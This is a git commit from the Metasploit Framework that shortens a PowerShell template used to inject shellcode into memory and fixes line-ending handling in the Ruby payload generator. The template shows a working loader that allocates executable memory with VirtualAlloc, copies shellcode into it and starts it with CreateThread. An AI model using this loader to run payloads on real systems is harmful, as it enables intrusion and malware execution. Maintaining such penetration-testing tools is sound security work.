Greatly shortened to_mem_old.ps1.template by using [Math]::max.

Added necessary end of line conversion in lib/msf/util/exe.rb so
that Powershell will parse multiline strings.
bug/bundler_fix
shellster 2013-08-25 13:29:15 -07:00 committed by James Lee
parent bb5f71e580
commit ee9b1ef8e0
2 changed files with 4 additions and 10 deletions

View File

@ -11,16 +11,10 @@ $%{var_win32_func} = Add-Type -memberDefinition $%{var_syscode} -Name "Win32" -n
%{shellcode}
$%{var_size} = 0x1000
if ($%{var_code}.Length -gt 0x1000) {
$%{var_size} = $%{var_code}.Length
}
$%{var_rwx} = $%{var_win32_func}::VirtualAlloc(0,0x1000,$%{var_size},0x40)
$%{var_rwx} = $%{var_win32_func}::VirtualAlloc(0,0x1000,[Math]::Max($%{var_code}.Length, 0x1000),0x40)
for ($%{var_iter}=0;$%{var_iter} -le ($%{var_code}.Length-1);$%{var_iter}++) {
$%{var_win32_func}::memset([IntPtr]($%{var_rwx}.ToInt32()+$%{var_iter}), $%{var_code}[$%{var_iter}], 1)
$%{var_win32_func}::memset([IntPtr]($%{var_rwx}.ToInt32()+$%{var_iter}), $%{var_code}[$%{var_iter}], 1) | Out-Null
}
$%{var_win32_func}::CreateThread(0,0,$%{var_rwx},0,0,0)

View File

@ -970,7 +970,7 @@ def self.to_vba(framework,code,opts={})
hash_sub[:shellcode] = Rex::Text.to_powershell(code, hash_sub[:var_code])
return read_replace_script_template("to_mem_dotnet.ps1.template", hash_sub)
return read_replace_script_template("to_mem_dotnet.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
end
def self.to_win32pe_psh(framework, code, opts={})
@ -985,7 +985,7 @@ def self.to_vba(framework,code,opts={})
hash_sub[:shellcode] = Rex::Text.to_powershell(code, hash_sub[:var_code])
return read_replace_script_template("to_mem_old.ps1.template", hash_sub)
return read_replace_script_template("to_mem_old.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
end
def self.to_win32pe_vbs(framework, code, opts={})